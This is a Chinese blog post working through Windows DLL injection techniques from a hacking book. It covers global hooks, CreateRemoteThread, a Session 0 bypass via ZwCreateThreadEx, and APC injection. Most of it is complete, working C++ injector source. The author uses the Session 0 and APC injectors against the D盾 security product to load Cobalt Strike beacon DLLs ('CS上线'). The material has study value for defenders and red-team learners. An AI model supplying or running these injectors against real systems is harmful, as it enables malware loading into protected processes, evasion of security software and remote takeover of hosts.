Windows Hacker Review - 注入技术
2024-04-10 21:29:18

寒假的时候写的,4月才发现没有发到博客:(

Windows注入技术 复现

对于《Windows黑客编程》一书中的各种注入技术进行复现和总结

环境:

  • OS:windows10
  • IDE:Visual Studio 2022

全局钩子注入

Windows中的大部分应用程序依赖于消息机制,其中含有消息过程函数,而Windows操作系统的钩子机制用于截获和监视系统中的消息。

依据钩子的作用范围,可以分为局部钩子和全局钩子:

  • 局部钩子:针对某个线程
  • 全局钩子:作用于整个系统的消息

WinAPI介绍

关于全局钩子注入Win32 API介绍:

1
2
3
4
5
6
7
8
9
HHOOK WINAPI SetWindowsHookEx{
_In_ int idHook, // 钩子程序类型
_In_ HOOKPROC lpfn, // 指向钩子程序的函数指针
_In_ HINSTANCE hMod, // 已加载的DLL或EXE实例的句柄,HMODULE句柄是通过LoadLibrary或GetModuleHandle等函数加载模块时返回
_In_ DWORD dwThreadId // 与钩子相关的线程标识符,如果参数为0表示与系统中所有线程相关联
}
// 返回值:
// 设置成功则返回钩子过程的句柄
// 设置失败则返回值为NULL

将程序定义的钩子函数(HOOKPROC lpfn)安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程相关联

操作过程

生成DLL文件

新建一个DLL空项目

预编译头pch.h中设置

该文件是预编译标头文件,仅仅编译一次

1
2
3
4
5
6
7
8
9
10
11
12
#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"
// 设置钩子函数
extern "C" _declspec(dllexport) int SetHook();
// 钩子回调函数
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
// 卸载钩子函数
extern "C" _declspec(dllexport) BOOL UnsetHook();
#endif //PCH_H

在pch.cpp文件中实现上述函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"
#include <Windows.h>
#include <stdio.h>

// 当使用预编译的头时,需要使用此源文件,编译才能成功。

extern HMODULE g_hDllModule; // 已经加载的DLL的句柄

// 为DLL创建一个数据段,然后再对程序的链接器进行设置,把指定的数据段链接为共享数据段
#pragma data_seg("mydata") // 相当于use mydata的这种感觉
HHOOK g_hHook = NULL; // Hook句柄(注意与HMODULE的区别)
#pragma data_seg() // 恢复默认的数据段设置
#pragma comment(linker, "/SECTION:mydata,RWS") // 告诉链接器设置为RWS

// 回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
// 将当前钩子传递给钩子链中的下一个钩子
}

// 设置钩子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (g_hHook == NULL) {
return FALSE;
}
return TRUE;
}

// 卸载钩子
BOOL UnsetHook() {
if (g_hHook)
{
// 直接 :: 表示从全局作用域解析
::UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}

然后在DLL的入口文件dllmain.cpp中设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HMODULE g_hDllModule = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 由于进程启动或调用LoadLibrary, DLL被加载到当前进程的虚拟地址空间中, 会进入如下路由
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

在Release,X86下生成:

image-20240127220704720

可以发现对应文件夹下生成dll文件

image-20240127220737886

测试

新建一个CPP空项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// 全局钩子注入
#include <iostream>
#include <Windows.h>

int main()
{
// 声明函数指针, 返回值为BOOL, 参数值为空
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();


HMODULE hDll = NULL; // DLL句柄
typedef_SetGlobalHook SetGlobalHook = NULL; // 设置全局钩子的句柄
typedef_UnsetGlobalHook UnsetGlobalHook = NULL; // 卸载全局钩子的句柄
BOOL bRet = FALSE;

do {
// 加载DLL,获得句柄实例
hDll = ::LoadLibraryW(TEXT("C:\\Users\\icfh\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"));
// 异常检测
if (hDll == NULL) {
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}

// 从hDll句柄对应文件中加载SetHook地址,并把该地址位置上的数据视为typedef_SetGlobalHook函数(返回函数指针)
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (SetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}

bRet = SetGlobalHook(); // 运行函数 -- 设置全局钩子
if (bRet) {
printf("SetGlobalHook OK.\n");
}
else {
printf("SetGlobal Hook Error.\n");
}

system("pause");

// 同理获取卸载全局钩子
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (UnsetGlobalHook == NULL) {
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}

// 卸载全局钩子
UnsetGlobalHook();
printf("UnsetGlobalHook OK. \n");
} while (FALSE);

system("pause");
return 0;
}

image-20240127223514057

远程线程注入

远线程注入是指一个进程在另一个进程中创建线程的技术

核心函数主要如下:

  • LoadLibrary:将指定的DLL文件动态加载到进程空间
  • CreateRemoteThread:在目标进程的虚拟地址空间中创建运行的线程

大致原理:

  • 获得LoadLibrary函数的地址

​ 虽然Windows的ASLR机制会使得LoadLibrary在每次开机时的地址不同,但对于同个时候Windows的kernel32.dll的加载基址在各个进程中都是相同的,因此LoadLibrary也是相同的。

  • 写入注入的DLL路径字符串

​ 通过OpenProcess打开进程获得句柄,然后调用VirtualAllocEx在目标进程中申请一块内存空间,再调用WriteProcessMemory将恶意DLL路径写入到目标进程的空间地址中

WinAPI介绍

  • OpenProcess

打开现有的本地进程,获得句柄

1
2
3
4
5
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess, //
_In_ BOOL bInheritHandle, // True => 将继承原本进程中已有的句柄
_In_ DWORD dwProcessId // 要打开的进程PID
)
  • VirtualAllocEx

对指定进程的虚拟地址空间内保留、提交或更改内存的状态

1
2
3
4
5
6
7
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess, // 进程句柄,句柄必须具有PROCESS_VM_OPERATION的权限
_In_opt_ LPVOID lpAddress, // 指定要分配页面所需起始地址的指针,如果为NULL则表示自动分配内存
_In_ SIZE_T dwSize, // 分配的内存大小,以字节为单位
_In_ DWORD flAllocationType, // 内存分配类型
_In_ DWORD flProtect // 要分配的页面区域的内存保护类型
)
  • WriteProcessMemory

在指定进程的指定可访问的内存区域写入数据

1
2
3
4
5
6
7
8
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess, // 目标进程的句柄
_In_ LPVOID lpBaseAddress, // 要写入数据的内存区域的基地址
_In_ LPCVOID lpBuffer, // 存储数据的缓冲区的基地址
_In_ SIZE_T nSize, // 要写入的字节数
_Out_ SIZE_T *lpNumberOfBytesWritten
)
// 成功则返回值不为NULL
  • CreateRemoteThread

在指定进程中创建运行的线程

1
2
3
4
5
6
7
8
9
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess, // 目标进程的句柄
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, // 指向SECURITY_ATTRIBUTES结构的指针,指定了新线程的安全描述符,并确定了子进程是否可以继承返回的句柄
_In_ SIZE_T dwStackSize, // 堆栈的初始大小
_In_ LPTHREAD_START_ROUTINE lpStartAddress, // 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示了远程进程的起始地址,该函数必须存在于远程进程中
_In_ LPVOID lpParameter, // 指向要传递给线程函数的变量的指针
_In_ DWROD dwCreationFlags, // 控制线程创建的标志,若为0则表示线程在创建后立即执行
_Out_ LPDWORD lpThread // 指向了接收线程标识的变量的指针,如果此参数为NULL,则不返回线程标识符
)

操作过程

生成DLL文件

dllmain.cpp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "pch.h"

BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
};
return TRUE;

}

然后直接生成dll

测试

核心函数在于远程线程注入_RemoteThreadInjection中:

  • 函数原型设计:我们需要得知远程线程注入的目标进程PID以及执行线程的对应DLL文件位置(采用宽字符串)
1
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName)
  • OpenProcess打开进程获得句柄
1
2
3
4
5
6
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
printf("OpenProcess Error\n");
return FALSE;
}
  • VirtualAllocEx API申请内存,该内存存储

_tcslen(DllName)截取的宽字符串长度不包括字符串终止符,所以需要加1,并乘上宽字符的大小以计算出字节数

1
2
3
4
5
6
7
8
9
10
11
12
// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
MEM_COMMIT, PAGE_READWRITE);
// 第二个参数表示分配页面所需起始地址的指针
// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
// 第五个参数表示要分配的页面区域的内存保护,如果yem

if (pDllAddr == NULL) {
printf("Process Memory Allocation Error\n");
return FALSE;
}
  • 申请完之后就是使用WriteProcessMemory写数据
1
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
  • 获取LoadLibraryW的地址
1
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"),"LoadLibraryW");
  • 创建线程,并传入参数
1
hThread = ::CreateRemoteThread(hProcess, NULL, 0, addr, pDllAddr, 0, NULL);
  • 释放资源等操作

完整源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// 远程线程注入
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include "tchar.h" // 宽字符

char DLL_PATH[] = "C:\\Users\\icfh\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll";


// LPCWSTR: long pointer to a wide string
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
// 变量声明
HANDLE hprocess; // 目标进程的句柄
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pDllAddr = NULL; // 申请内存空间
DWORD DllAddr = 0;
FARPROC pThread;

// 打开进程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
printf("OpenProcess Error\n");
return FALSE;
}

// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
MEM_COMMIT, PAGE_READWRITE);
// 第二个参数表示分配页面所需起始地址的指针
// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
// 第五个参数表示要分配的页面区域的内存保护,如果yem

if (pDllAddr == NULL) {
printf("Process Memory Allocation Error\n");
return FALSE;
}

// 向申请的内存写入数据
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
if (isWriteSuccess == FALSE) {
printf("Write Process Memory Error\n");
return FALSE;
}

// 获取LoadLibraryW(支持宽字符)函数地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
// LPTHREAD_START_ROUTINE 是一个函数指针类型,用于指定线程的入口点函数

// 在目标进程中创建线程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
// hprocess指向了目标进程
// addr表示LoadLibrary的LPTHREAD_START_ROUTINE函数指针
// pDllAddr表示传递给线程函数的变量的对应的指针(传给LoadLibrary的变量)
if (hThread == NULL) {
printf("Create Remote Thread Error\n");
return FALSE;
}

//等待线程函数结束,获得退出码
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);

// 释放DLL空间
VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);

// 关闭句柄
::CloseHandle(hprocess);
return TRUE;
}

int main() {
DWORD _PID = 1220; // 根据实际进程的PID填入
_RemoteThreadInjection(_PID, L"C:\\Users\\icfh\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
}


注入之前:

image-20240129154125529

注入之后:可以观察到其实不止多了DLLInjection.dll文件

image-20240129154201976

image-20240129154215615

突破SESSION 0 隔离的远线程注入

在远程线程注入中,将目标进程改为一些系统服务进程时会发现失败,这是由于存在SESSION 0隔离的安全机制,传统的远程线程注入并不能突破SESSION 0隔离

image-20240129154717719

Session 0隔离机制

参考:https://techcommunity.microsoft.com/t5/ask-the-performance-team/application-compatibility-session-0-isolation/ba-p/372361?ranMID=46131&ranEAID=a1LgFw09t88&ranSiteID=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&epi=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&irgwc=1&OCID=AIDcmm549zy227_aff_7806_1243925&tduid=(ir__9uapagd1yckfdy1ee922gm0muf2x9ijmfkvrdmhp00)(7806)(1243925)(a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew)()&irclickid=_9uapagd1yckfdy1ee922gm0muf2x9ijmfkvrdmhp00

在早期Windows版本中(WinXP,WinServer2003以及之前),所有服务都与登录到控制台的第一个用户(超级管理员)处于同一个会话中,该会话即所谓的Session 0,此时其他非系统服务等同于拥有超级管理员权限来执行,那么此时遭遇劫持就直接最高权限了。

此后在Windows内核6.0版本后引入了Session 0隔离机制,只有系统进程和服务才会处于session 0中运行,用户登录到会话1,后续用户登录到2,3 …

Session 0隔离机制使得当创建一个进程后不立即执行,而是先挂起进程,在查看运行的进程所在的会话层之后再决定是否恢复进程运行。

WinAPI介绍

原理与远程线程注入的原理大致相同,但是使用的WinAPI是比CreateRemoteThread更为底层的ZwCreateThreadEx函数来创建线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// win64
DWORD WINAPI ZwCreateThreadEx{
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
}

// win32
DWORD WINAPI ZwCreateThreadEx{
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnknown
}



操作过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
// 突破session 0隔离机制注入DLL

#include <Windows.h>
#include <stdio.h>
#include <iostream>
//#include "tchar.h"


// 使用typedef对ZwCreateThreadEx创建函数指针
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif





BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL flag = FALSE;
// OpenProcessToken 打开与进程关联的token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

int valueGetLastError = GetLastError();

flag = (valueGetLastError == ERROR_SUCCESS);
CloseHandle(hToken);
}
return flag;
}



BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
// 变量声明
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC LoadLibraryA_Addr = NULL;
HANDLE hRemoteThread = NULL; // 远程线程
DWORD dwStatus = 0;

// 提权 -- 启用SeDebugPrivilege权限
//BOOL isPrivieged = EnableDebugPrivilege();
//if (isPrivieged == FALSE) {
// printf("Can't get SeDebugPrivilege!\n");
// return FALSE;
//}

// 由于具有SeDebugPrivilege,所以可以对系统服务设置为PROCESS_ALL_ACCESS
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
if (hProcess == NULL) {
printf("Open Process Error!\n");
return FALSE;
}

// 申请内存
// 申请内存的大小
dwSize = ::strlen(DLLPath) + 1;
// ::lstrlen 对于宽字符串
// ::strlen 对于字符串
// 申请,返回基地址
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

if (pDllAddr == NULL) {
printf("Virtual Allocation Error\n");
return FALSE;
}


// 写入DLL路径
BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL);
if (isWriteSuccess == FALSE) {
printf("Write Process Memory Error\n");
return FALSE;
}

// 加载ntdll.dll
HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");

if (hNtdDll == NULL)
{
printf("Load ntdll.dll Error\n");
}

// 获取LoadLibraryA函数地址
LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

if (LoadLibraryA_Addr == NULL)
{
printf("Get the address of LoadLibrary Error!\n");
return FALSE;
}


// 获得ZwCreateThreadEx函数地址
// 使用函数指针类型的变量来接收
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");

if (ZwCreateThreadEx == NULL) {
printf("Get the address of LoadLibrary Error!\n");
return FALSE;
}


// 使用ZwCreateThreadEx创建远程线程,实现DLL注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
0, 0, 0, 0, NULL);

if (hRemoteThread == NULL) {
printf("ZwCreateThread Error!\n");
return FALSE;
}


// 关闭句柄
::CloseHandle(hProcess); // 对于HANDLE
::FreeLibrary(hNtdDll); // 对于HModule

return TRUE;
}


int main()
{

#ifdef _WIN64
BOOL flag = BypassSession0Injection(3788, "C:\\Users\\icfh\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
#else
BOOL flag = BypassSession0Injection(4740, "C:\\Users\\icfh\\Desktop\\artifact_x86.dll");
#endif
if (flag == FALSE) {
MessageBox(NULL, L"fail!", L"BypassSession0Injection", MB_OK);
}
else {
MessageBox(NULL, L"success!", L"BypassSession0Injection", MB_OK);
}
return 0;
}

选择D盾开刀

image-20240129225520558

CS上线

APC注入

APC机制

在Windows系统中,APC机制是一种并发机制,用于异步IO或者定时器,每个线程都会维护一个线程APC队列,通过QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该函数处于可通知的状态,调用顺序为先入先出。

WinAPI介绍

QueueUserAPC函数:将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中

1
2
3
4
5
DWORD WINAPI QueueUserAPC(
_In_ PAPCFIMC pfnAPC,
_In_ HANDLE hThread,
_In_ ULONG_PTR dwData
)

操作过程

  • 通过OpenProcess函数打开目标进程,获取目标进程的句柄

  • 遍历线程快照,获取所有线程ID

  • 调用VirtualAllocEx函数在目标进程中申请内存,再调用WriteProcessMemory写入DLL路径

  • 遍历获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄

    并调用QueueUserAPC函数向每个线程插入APC函数,设置APC函数的地址为LoadLibraryA函数的地址,APC函数参数为上述DLL路径地址

  • 唤醒任意线程,即可执行APC,完成DLL的APC注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
// APCInjection.cpp

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>


void PrintError(const char* errContext) {
char Error[MAX_PATH] = { 0 };
::sprintf_s(Error, "%s Error[%d]\n", errContext, ::GetLastError());
::MessageBoxA(NULL, Error, "ERROR", MB_OK);
}


// 获取指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {

// 申请空间
DWORD dwThreadIdListLength = 0; // 线程数组的索引
DWORD dwThreadIdListMaxCount = 2000; // 最大线程数
LPDWORD pThreadIdList = NULL; // 链表的头部
// LPDWORD: 指向DWORD的指针
HANDLE hThreadSnap = INVALID_HANDLE_VALUE; // 线程句柄

pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// NULL未指定起始地址
if (pThreadIdList == NULL) {
return FALSE;
}

// 初始化为0
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

THREADENTRY32 th32 = { 0 };

// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}

// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);


// 遍历所有THREADENTRY32结构,按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while(bRet)
{
if(th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}

*pThreadIdListLength = dwThreadIdListLength; // 捕获的线程快照个数
*ppThreadIdList = pThreadIdList; // 线程地址的数组

return TRUE;

}


BOOL APCInjection(HANDLE hProcess, CHAR* wzDLLFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{ // (指定进程, DLL路径, 线程链表的头部, 链表长度)

// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;

lpAddr = ::VirtualAllocEx(hProcess, NULL, page_size,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (lpAddr == NULL)
{
PrintError("VirtualAllocEx - Error\n\n");
// 释放空间
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
// 关闭
CloseHandle(hProcess);
return FALSE;
}

// 将DLL路径写入到内存中
BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, lpAddr,
wzDLLFullPath, (strlen(wzDLLFullPath) + 1) * sizeof(wzDLLFullPath), NULL);

if (isWriteSuccess == FALSE)
{
PrintError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_COMMIT);
CloseHandle(hProcess);
return FALSE;
}

// 获得LoadLibraryA的地址
PVOID LoadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
// PVOID: void*

// 遍历线程链表, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--) {
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)LoadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) {
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}

printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);

float FailRate = dwThreadIdListLength / fail;

if ((int)fail == 0 || FailRate > 0.5) {
printf("Successful! APC Injection!\n");
return TRUE;
}
else {
printf("Fail!\n");
return FALSE;
}

}


int main()
{

DWORD PID = 10544;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;

#ifdef _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\icfh\\Desktop\\artifact_x86_apc.dll");
#else
strcpy_s(wzDllFullPath, "C:\\Users\\icfh\\Desktop\\artifact_x86_apc.dll");
#endif

BOOL isGetProcessThreadList = GetProcessThreadList(PID, &pThreadIdList, &dwThreadIdListLength);
if (!isGetProcessThreadList)
{
printf("Can't list the threads\n");
exit(0);
}

// 打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID);

if (hProcess == NULL) {
printf("Failed to open Process\n");
return FALSE;
}

// 注入
BOOL isInjectSuccess = APCInjection(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength);
if (!isInjectSuccess) {
printf("Failed to inject DLL\n");
return FALSE;
}

return 0;

}

拿D盾开刀:

image-20240131153206368

还是CS上线

image-20240131153108139

参考文献

  1. https://learn.microsoft.com/en-us/windows/

  2. https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmx7Tq%2BnDBD%3D7YD&alichlgref=https%3A%2F%2Fwww.google.co.uk%2F#toc-0

  3. https://xz.aliyun.com/t/10318?time__1311=mq%2BxBDyDuGBDcDBqDTmGIDkzeD%3DX5qKqx&alichlgref=https%3A%2F%2Fwww.google.co.uk%2F#toc-5

  4. https://www.anquanke.com/post/id/247813

Prev
2024-04-10 21:29:18
Next